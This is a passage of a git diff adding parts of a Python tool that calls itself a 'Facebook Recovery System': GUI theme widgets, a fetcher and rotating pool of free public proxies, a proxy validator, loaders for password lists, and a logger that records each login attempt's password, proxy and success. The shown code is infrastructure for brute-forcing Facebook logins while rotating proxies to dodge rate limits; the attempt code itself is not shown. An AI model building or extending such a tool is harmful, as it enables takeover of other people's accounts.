text_color=CyberpunkTheme.TEXT_PRIMARY, + font=font, + corner_radius=4, + **kwargs, + ) + return btn + + @staticmethod + def apply_focus_glow(entry_widget): + """Add cyan glow on focus to any CTkEntry widget.""" + entry_widget.bind( + "", + lambda _: entry_widget.configure(border_color=CyberpunkTheme.PRIMARY), + ) + entry_widget.bind( + "", + lambda _: entry_widget.configure(border_color=CyberpunkTheme.BORDER), + ) + return entry_widget + + @staticmethod + def create_neon_entry(parent, placeholder="", width=200, **kwargs): + """Entry with neon border that brightens on focus.""" + entry = ctk.CTkEntry( + parent, + placeholder_text=placeholder, + width=width, + fg_color=CyberpunkTheme.BG_DARK, + border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, + placeholder_text_color=CyberpunkTheme.TEXT_DIM, + font=("Consolas", 12), + corner_radius=4, + **kwargs, + ) + # Subtle focus glow: swap border color on focus/unfocus + entry.bind("", lambda _: entry.configure(border_color=CyberpunkTheme.PRIMARY)) + entry.bind("", lambda _: entry.configure(border_color=CyberpunkTheme.BORDER)) + return entry + + @staticmethod + def create_neon_label(parent, text, font_size=12, color=None, **kwargs): + return ctk.CTkLabel( + parent, + text=text, + text_color=color or CyberpunkTheme.TEXT_PRIMARY, + font=("Consolas", font_size), + **kwargs, + ) + + @staticmethod + def create_section_header(parent, text): + """ + Sleek section header: full-width rule with a neon left accent and + uppercase monospace label. + """ + outer = ctk.CTkFrame(parent, fg_color="transparent", height=34) + outer.pack(fill="x", pady=(14, 4)) + outer.pack_propagate(False) + + # Neon left accent bar + accent = ctk.CTkFrame(outer, fg_color=CyberpunkTheme.PRIMARY, width=3, corner_radius=0) + accent.pack(side="left", fill="y", padx=(0, 10)) + + label = ctk.CTkLabel( + outer, + text=text.upper(), + text_color=CyberpunkTheme.PRIMARY, + font=("Consolas", 11, "bold"), + ) + label.pack(side="left", anchor="center") + + # Trailing dim rule that fills the rest of the width + rule = ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1) + rule.pack(side="left", fill="x", expand=True, padx=(10, 0), pady=(1, 0)) + + return outer + + @staticmethod + def create_status_bar(parent): + """ + Bottom status bar: dark strip with a thin colored top-border for depth. + """ + wrapper = ctk.CTkFrame(parent, fg_color=CyberpunkTheme.BG_DARK, height=30) + wrapper.pack(side="bottom", fill="x") + wrapper.pack_propagate(False) + + # Thin top accent line + top_rule = ctk.CTkFrame(wrapper, fg_color=CyberpunkTheme.BORDER, height=1) + top_rule.pack(fill="x", side="top") + + # Blinking status dot + text + dot = ctk.CTkLabel( + wrapper, + text="●", + text_color=CyberpunkTheme.PRIMARY, + font=("Consolas", 10), + ) + dot.pack(side="left", padx=(8, 2)) + + status_label = ctk.CTkLabel( + wrapper, + text="SYSTEM READY", + text_color=CyberpunkTheme.TEXT_DIM, + font=("Consolas", 10), + ) + status_label.pack(side="left") + + # Animate the dot — alternate PRIMARY ↔ dim every 900ms + def _blink(): + try: + current = dot.cget("text_color") + next_color = ( + CyberpunkTheme.TEXT_DIM + if current == CyberpunkTheme.PRIMARY + else CyberpunkTheme.PRIMARY + ) + dot.configure(text_color=next_color) + wrapper.after(900, _blink) + except Exception: + pass + + wrapper.after(900, _blink) + return wrapper, status_label diff --git a/src/proxy/__init__.py b/src/proxy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/proxy/fetcher.py b/src/proxy/fetcher.py new file mode 100644 index 0000000..08b8565 --- /dev/null +++ b/src/proxy/fetcher.py @@ -0,0 +1,137 @@ +""" +Proxy fetcher — pulls free proxies from multiple reliable public sources. +No API key required. Falls back through sources until enough proxies are found. +""" +import logging +import re +from typing import Any, Dict, List + +import requests + +logger = logging.getLogger(__name__) + +# ── Source definitions ─────────────────────────────────────────────────────── +# Each entry: (label, url, format, protocol) +# format: "plain" → one ip:port per line +# "json" → JSON with a list field +_SOURCES = [ + # ProxyScrape — no key, returns plain ip:port + ("ProxyScrape HTTP", + "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all", + "plain", "http"), + ("ProxyScrape SOCKS4", + "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all", + "plain", "socks4"), + ("ProxyScrape SOCKS5", + "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all", + "plain", "socks5"), + + # TheSpeedX GitHub lists + ("SpeedX HTTP", + "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", + "plain", "http"), + ("SpeedX SOCKS4", + "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", + "plain", "socks4"), + ("SpeedX SOCKS5", + "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", + "plain", "socks5"), + + # monosans GitHub lists + ("monosans HTTP", + "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt", + "plain", "http"), + ("monosans SOCKS4", + "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks4.txt", + "plain", "socks4"), + ("monosans SOCKS5", + "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt", + "plain", "socks5"), + + # clarketm plain list + ("clarketm HTTP", + "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", + "plain", "http"), + + # GeoNode JSON API + ("GeoNode", + "https://proxylist.geonode.com/api/proxy-list?limit=500&page=1&sort_by=lastChecked&sort_type=desc" + "&protocols=http%2Chttps%2Csocks4%2Csocks5&filterUpTime=50", + "geonode_json", None), +] + +_IP_PORT_RE = re.compile(r"^(\d{1,3}(?:\.\d{1,3}){3}):(\d{2,5})\s*$") + + +class ProxyFetcher: + """Fetches proxy lists from multiple free public sources.""" + + def __init__(self): + self.session = requests.Session() + self.session.headers.update({ + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Accept": "text/plain,application/json,*/*", + }) + + # ── Public API ──────────────────────────────────────────────────────────── + + def fetch_as_strings(self, count: int = 500) -> List[str]: + """ + Fetch up to `count` proxy strings (protocol://ip:port) from all sources. + Deduplicates and returns the combined list. + """ + seen: set = set() + result: List[str] = [] + + for label, url, fmt, protocol in _SOURCES: + if len(result) >= count: + break + try: + proxies = self._fetch_source(label, url, fmt, protocol) + added = 0 + for ps in proxies: + if ps not in seen: + seen.add(ps) + result.append(ps) + added += 1 + if added: + logger.info(f"[{label}] +{added} proxies ({len(result)} total)") + except Exception as e: + logger.warning(f"[{label}] Failed: {e}") + + logger.info(f"Fetched {len(result)} unique proxies from all sources") + return result[:count] + + # ── Source parsers ──────────────────────────────────────────────────────── + + def _fetch_source(self, label: str, url: str, fmt: str, protocol: str) -> List[str]: + resp = self.session.get(url, timeout=20) + resp.raise_for_status() + + if fmt == "plain": + return self._parse_plain(resp.text, protocol) + if fmt == "geonode_json": + return self._parse_geonode(resp.json()) + return [] + + @staticmethod + def _parse_plain(text: str, protocol: str) -> List[str]: + result = [] + for line in text.splitlines(): + line = line.strip() + m = _IP_PORT_RE.match(line) + if m: + result.append(f"{protocol}://{m.group(1)}:{m.group(2)}") + return result + + @staticmethod + def _parse_geonode(data: dict) -> List[str]: + result = [] + for item in data.get("data", []): + ip = item.get("ip", "") + port = item.get("port", "") + protocols = item.get("protocols", ["http"]) + proto = protocols[0] if protocols else "http" + if ip and port: + result.append(f"{proto}://{ip}:{port}") + return result diff --git a/src/proxy/pool.py b/src/proxy/pool.py new file mode 100644 index 0000000..bfee5b6 --- /dev/null +++ b/src/proxy/pool.py @@ -0,0 +1,221 @@ +""" +Proxy pool manager — maintains a rotating queue of validated proxies. +""" +import logging +import queue +import threading +import time +from dataclasses import dataclass, field +from typing import List, Optional, Set +from src.proxy.fetcher import ProxyFetcher +from src.proxy.validator import ProxyValidator, ProxyTestResult +from config import PROXY_REFRESH_INTERVAL + +logger = logging.getLogger(__name__) + + +@dataclass +class ProxyPool: + """ + Thread-safe proxy pool with automatic refresh. + Maintains a queue of validated proxies ready for use. + """ + min_pool_size: int = 50 + max_pool_size: int = 500 + refresh_interval: int = PROXY_REFRESH_INTERVAL + + # Internal state + _queue: queue.Queue = field(default_factory=queue.Queue) + _all_valid: List[str] = field(default_factory=list) + _used: Set[str] = field(default_factory=set) + _queued: Set[str] = field(default_factory=set) + _lock: threading.Lock = field(default_factory=threading.Lock) + _last_refresh: float = 0 + _fetcher: ProxyFetcher = field(default_factory=ProxyFetcher) + _validator: ProxyValidator = field(default_factory=ProxyValidator) + _refresh_thread: Optional[threading.Thread] = None + _running: bool = False + + # Stats + total_fetched: int = 0 + total_valid: int = 0 + total_used: int = 0 + + def __post_init__(self): + self._queue = queue.Queue() + self._all_valid = [] + self._used = set() + self._queued = set() + self._lock = threading.Lock() + self.load_saved_proxies() + + def load_saved_proxies(self) -> int: + """Load previously validated proxies from disk into the active pool.""" + from src.utils.file_io import load_valid_proxies + + proxies = load_valid_proxies() + if not proxies: + return 0 + + added = 0 + with self._lock: + for proxy_str in proxies: + if proxy_str not in self._all_valid: + self._all_valid.append(proxy_str) + self._queue.put_nowait(proxy_str) + self._queued.add(proxy_str) + added += 1 + self.total_valid = len(self._all_valid) + + if added: + logger.info(f"Loaded {added} saved proxies into pool") + return added + + def add_proxies(self, proxy_strings: List[str]) -> int: + """Add validated proxy strings to the pool (deduplicated).""" + added = 0 + with self._lock: + for proxy_str in proxy_strings: + if proxy_str and proxy_str not in self._all_valid: + self._all_valid.append(proxy_str) + self._queue.put_nowait(proxy_str) + self._queued.add(proxy_str) + added += 1 + self.total_valid = len(self._all_valid) + return added + + def fetch_and_validate(self, target_count: int = 500) -> int: + """ + Fetch proxies from Proxifly and validate them. + Returns the number of valid proxies found. + """ + logger.info(f"Fetching up to {target_count} proxies...") + + # Fetch + proxy_strings = self._fetcher.fetch_as_strings(target_count) + self.total_fetched = len(proxy_strings) + logger.info(f"Fetched {len(proxy_strings)} proxies, now validating...") + + # Validate + results = self._validator.test_batch_sync(proxy_strings, concurrency=50) + valid = [r for r in results if r.is_valid] + + with self._lock: + self._all_valid = [r.proxy_string for r in valid] + self.total_valid = len(valid) + + # Refill the queue + self._queue = queue.Queue() + self._queued = set() + for proxy_str in self._all_valid: + self._queue.put_nowait(proxy_str) + self._queued.add(proxy_str) + + logger.info(f"Validation complete: {len(valid)}/{len(proxy_strings)} proxies valid") + return len(valid) + + def get_proxy(self) -> Optional[str]: + """ + Get the next available proxy from the pool. + Returns None if pool is empty. + """ + try: + proxy = self._queue.get_nowait() + with self._lock: + self._queued.discard(proxy) + self._used.add(proxy) + self.total_used += 1 + + # Auto-refresh if pool is running low + if self._queue.qsize() < self.min_pool_size: + self._trigger_refresh() + + return proxy + + except queue.Empty: + # Pool is empty, try to refresh + logger.warning("Proxy pool empty, triggering refresh...") + self._trigger_refresh() + try: + proxy = self._queue.get_nowait() + with self._lock: + self._queued.discard(proxy) + self._used.add(proxy) + self.total_used += 1 + return proxy + except queue.Empty: + return None + + def return_proxy(self, proxy_string: str): + """Return a proxy to the pool (e.g., if it failed but might work later).""" + if not proxy_string: + return + with self._lock: + if proxy_string not in self._all_valid: + return + self._used.discard(proxy_string) + if proxy_string in self._queued: + return + self._queue.put_nowait(proxy_string) + self._queued.add(proxy_string) + + def mark_dead(self, proxy_string: str): + """Remove a bad proxy from future rotations.""" + if not proxy_string: + return + with self._lock: + self._used.discard(proxy_string) + self._queued.discard(proxy_string) + if proxy_string in self._all_valid: + self._all_valid.remove(proxy_string) + self.total_valid = len(self._all_valid) + + def _trigger_refresh(self): + """Trigger a background refresh if enough time has passed.""" + now = time.time() + if now - self._last_refresh > self.refresh_interval: + self._last_refresh = now + if not self._running: + self._running = True + self._refresh_thread = threading.Thread(target=self._refresh_worker, daemon=True) + self._refresh_thread.start() + + def _refresh_worker(self): + """Background worker to refresh the proxy pool.""" + try: + logger.info("Background proxy refresh started...") + new_proxies = self._fetcher.fetch_as_strings(300) + results = self._validator.test_batch_sync(new_proxies, concurrency=50) + valid = [r.proxy_string for r in results if r.is_valid] + + with self._lock: + # Add new valid proxies to the pool + for p in valid: + if p not in self._used and p not in self._all_valid: + self._queue.put_nowait(p) + self._queued.add(p) + self._all_valid.append(p) + self.total_valid = len(self._all_valid) + + logger.info(f"Background refresh added {len(valid)} proxies") + except Exception as e: + logger.error(f"Background refresh failed: {e}") + finally: + self._running = False + + @property + def available_count(self) -> int: + """Number of proxies currently available in the queue.""" + return self._queue.qsize() + + @property + def stats(self) -> dict: + """Get pool statistics.""" + with self._lock: + return { + "available": self._queue.qsize(), + "total_valid": self.total_valid, + "total_fetched": self.total_fetched, + "total_used": self.total_used, + "all_valid_count": len(self._all_valid), + } diff --git a/src/proxy/validator.py b/src/proxy/validator.py new file mode 100644 index 0000000..c67aef8 --- /dev/null +++ b/src/proxy/validator.py @@ -0,0 +1,135 @@ +""" +Proxy validator — tests proxies for connectivity, speed, and anonymity. +""" +import asyncio +import logging +import time +from dataclasses import dataclass +from typing import List, Optional, Tuple +import aiohttp +from aiohttp_socks import ProxyConnector +from config import PROXY_TEST_URL, PROXY_TEST_TIMEOUT + +logger = logging.getLogger(__name__) + + +@dataclass +class ProxyTestResult: + """Result of a proxy test.""" + proxy_string: str + ip: str + port: int + protocol: str + is_valid: bool + response_time_ms: float + error: Optional[str] = None + + +class ProxyValidator: + """Validates proxies by testing connectivity and measuring speed.""" + + def __init__(self, test_url: str = PROXY_TEST_URL, timeout: int = PROXY_TEST_TIMEOUT): + self.test_url = test_url + self.timeout = timeout + + async def test_single_proxy(self, proxy_string: str) -> ProxyTestResult: + """ + Test a single proxy by making a request through it. + proxy_string format: "protocol://ip:port" + """ + # Parse proxy string + try: + protocol, rest = proxy_string.split("://", 1) + ip, port_str = rest.rsplit(":", 1) + port = int(port_str) + except (ValueError, AttributeError): + return ProxyTestResult( + proxy_string=proxy_string, ip="", port=0, + protocol="", is_valid=False, + response_time_ms=0, error="Invalid format" + ) + + start_time = time.time() + try: + # Create proxy connector + connector = ProxyConnector.from_url(proxy_string) + + async with aiohttp.ClientSession(connector=connector) as session: + async with session.get( + self.test_url, + timeout=aiohttp.ClientTimeout(total=self.timeout), + headers={"User-Agent": "Mozilla/5.0"}, + ) as resp: + elapsed = (time.time() - start_time) * 1000 + + if resp.status == 200: + return ProxyTestResult( + proxy_string=proxy_string, + ip=ip, port=port, protocol=protocol, + is_valid=True, + response_time_ms=round(elapsed, 1), + ) + else: + return ProxyTestResult( + proxy_string=proxy_string, + ip=ip, port=port, protocol=protocol, + is_valid=False, + response_time_ms=round(elapsed, 1), + error=f"HTTP {resp.status}", + ) + + except asyncio.TimeoutError: + elapsed = (time.time() - start_time) * 1000 + return ProxyTestResult( + proxy_string=proxy_string, + ip=ip, port=port, protocol=protocol, + is_valid=False, + response_time_ms=round(elapsed, 1), + error="Timeout", + ) + except Exception as e: + elapsed = (time.time() - start_time) * 1000 + return ProxyTestResult( + proxy_string=proxy_string, + ip=ip, port=port, protocol=protocol, + is_valid=False, + response_time_ms=round(elapsed, 1), + error=str(e)[:100], + ) + + async def test_batch(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]: + """ + Test multiple proxies concurrently. + Returns results sorted by speed (fastest first). + """ + semaphore = asyncio.Semaphore(concurrency) + + async def test_with_semaphore(proxy_str: str) -> ProxyTestResult: + async with semaphore: + return await self.test_single_proxy(proxy_str) + + tasks = [test_with_semaphore(ps) for ps in proxy_strings] + results = await asyncio.gather(*tasks) + + # Sort: valid proxies first (by speed), then invalid + valid = [r for r in results if r.is_valid] + invalid = [r for r in results if not r.is_valid] + valid.sort(key=lambda r: r.response_time_ms) + + return valid + invalid + + def test_batch_sync(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]: + """Synchronous wrapper for batch testing.""" + return asyncio.run(self.test_batch(proxy_strings, concurrency)) + + def get_valid_proxy_strings(self, proxy_strings: List[str], concurrency: int = 50) -> List[str]: + """Test proxies and return only valid ones as strings.""" + results = self.test_batch_sync(proxy_strings, concurrency) + return [r.proxy_string for r in results if r.is_valid] + + def get_fastest_proxies(self, proxy_strings: List[str], count: int = 100, concurrency: int = 50) -> List[str]: + """Get the fastest N valid proxies.""" + results = self.test_batch_sync(proxy_strings, concurrency) + valid = [r for r in results if r.is_valid] + valid.sort(key=lambda r: r.response_time_ms) + return [r.proxy_string for r in valid[:count]] diff --git a/src/utils/__init__.py b/src/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/utils/file_io.py b/src/utils/file_io.py new file mode 100644 index 0000000..e82c8f6 --- /dev/null +++ b/src/utils/file_io.py @@ -0,0 +1,59 @@ +""" +File I/O utilities for reading/writing password lists and proxy lists. +""" +from pathlib import Path +from typing import List, Optional +from config import PASSWORDS_FILE, PROXIES_FILE, VALID_PROXIES_FILE + + +def save_passwords(passwords: List[str], filepath: Optional[Path] = None, append: bool = True): + """Save password list to file. Appends by default.""" + path = filepath or PASSWORDS_FILE + mode = "a" if append else "w" + with open(path, mode, encoding="utf-8") as f: + for pwd in passwords: + f.write(pwd + "\n") + + +def load_passwords(filepath: Optional[Path] = None) -> List[str]: + """Load passwords from file, stripping whitespace and removing empties.""" + path = filepath or PASSWORDS_FILE + if not path.exists(): + return [] + with open(path, "r", encoding="utf-8") as f: + return [line.strip() for line in f if line.strip()] + + +def save_proxies(proxies: List[str], filepath: Optional[Path] = None): + """Save proxy list to file.""" + path = filepath or PROXIES_FILE + with open(path, "w", encoding="utf-8") as f: + for proxy in proxies: + f.write(proxy + "\n") + + +def load_proxies(filepath: Optional[Path] = None) -> List[str]: + """Load proxies from file.""" + path = filepath or PROXIES_FILE + if not path.exists(): + return [] + with open(path, "r", encoding="utf-8") as f: + return [line.strip() for line in f if line.strip()] + + +def save_valid_proxies(proxies: List[str]): + """Save validated proxies to their dedicated file.""" + save_proxies(proxies, VALID_PROXIES_FILE) + + +def load_valid_proxies() -> List[str]: + """Load validated proxies.""" + return load_proxies(VALID_PROXIES_FILE) + + +def count_lines(filepath: Path) -> int: + """Count non-empty lines in a file.""" + if not filepath.exists(): + return 0 + with open(filepath, "r", encoding="utf-8") as f: + return sum(1 for line in f if line.strip()) diff --git a/src/utils/logger.py b/src/utils/logger.py new file mode 100644 index 0000000..e296420 --- /dev/null +++ b/src/utils/logger.py @@ -0,0 +1,116 @@ +""" +Structured logging for the Facebook Recovery System. +Provides both file logging and in-memory log capture for the GUI. +""" +import csv +import logging +import threading +from datetime import datetime +from pathlib import Path +from typing import Optional +from config import ATTEMPT_LOG_FILE + + +class AttemptLogger: + """Logs each login attempt to CSV and maintains an in-memory buffer for the GUI.""" + + def __init__(self, log_path: Optional[Path] = None): + self.log_path = log_path or ATTEMPT_LOG_FILE + self.buffer = [] # In-memory list of log entries for GUI display + self._lock = threading.Lock() + self._init_csv() + + def _init_csv(self): + """Create CSV with headers if it doesn't exist.""" + if not self.log_path.exists(): + self.log_path.parent.mkdir(parents=True, exist_ok=True) + with open(self.log_path, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow([ + "timestamp", "password", "proxy_ip", "proxy_port", + "proxy_protocol", "status_code", "result", "response_time_ms", + "message", + ]) + + def log_attempt( + self, + password: str, + proxy_ip: str, + proxy_port: int, + proxy_protocol: str, + status_code: int, + result: str, + response_time_ms: float, + message: str = "", + ): + """Log a single attempt.""" + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3] + entry = { + "timestamp": timestamp, + "password": password, + "proxy_ip": proxy_ip, + "proxy_port": proxy_port, + "proxy_protocol": proxy_protocol, + "status_code": status_code, + "result": result, + "response_time_ms": f"{response_time_ms:.1f}", + "message": message, + } + with self._lock: + # Write to CSV + with open(self.log_path, "a", newline="") as f: + writer = csv.DictWriter(f, fieldnames=entry.keys()) + writer.writerow(entry) + + # Keep in memory buffer (limit to last 10000 for performance) + self.buffer.append(entry) + if len(self.buffer) > 10000: + self.buffer = self.buffer[-5000:] + + def get_recent(self, count: int = 100) -> list: + """Get the most recent log entries.""" + with self._lock: + return self.buffer[-count:] + + def get_stats(self) -> dict: + """Get aggregate statistics from the log.""" + with self._lock: + total = len(self.buffer) + successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS") + failures = total - successes + return { + "total": total, + "successes": successes, + "failures": failures, + } + + +class FileLogger: + """General purpose file logger for system events.""" + + def __init__(self, name: str = "facebook_recovery"): + self.logger = logging.getLogger(name) + self.logger.setLevel(logging.DEBUG) + + # Guard against adding duplicate handlers when re-instantiated + if not self.logger.handlers: + ch = logging.StreamHandler() + ch.setLevel(logging.INFO) + formatter = logging.Formatter( + "[%(asctime)s] %(levelname)s: %(message)s", + datefmt="%H:%M:%S" + ) + ch.setFormatter(formatter) + self.logger.addHandler(ch) + + def info(self, msg: str): + self.logger.info(msg) + + def debug(self, msg: str): + self.logger.debug(msg) + + def warning(self, msg: str): + self.logger.warning(msg) + + def error(self, msg: str): + self.logger.error(msg)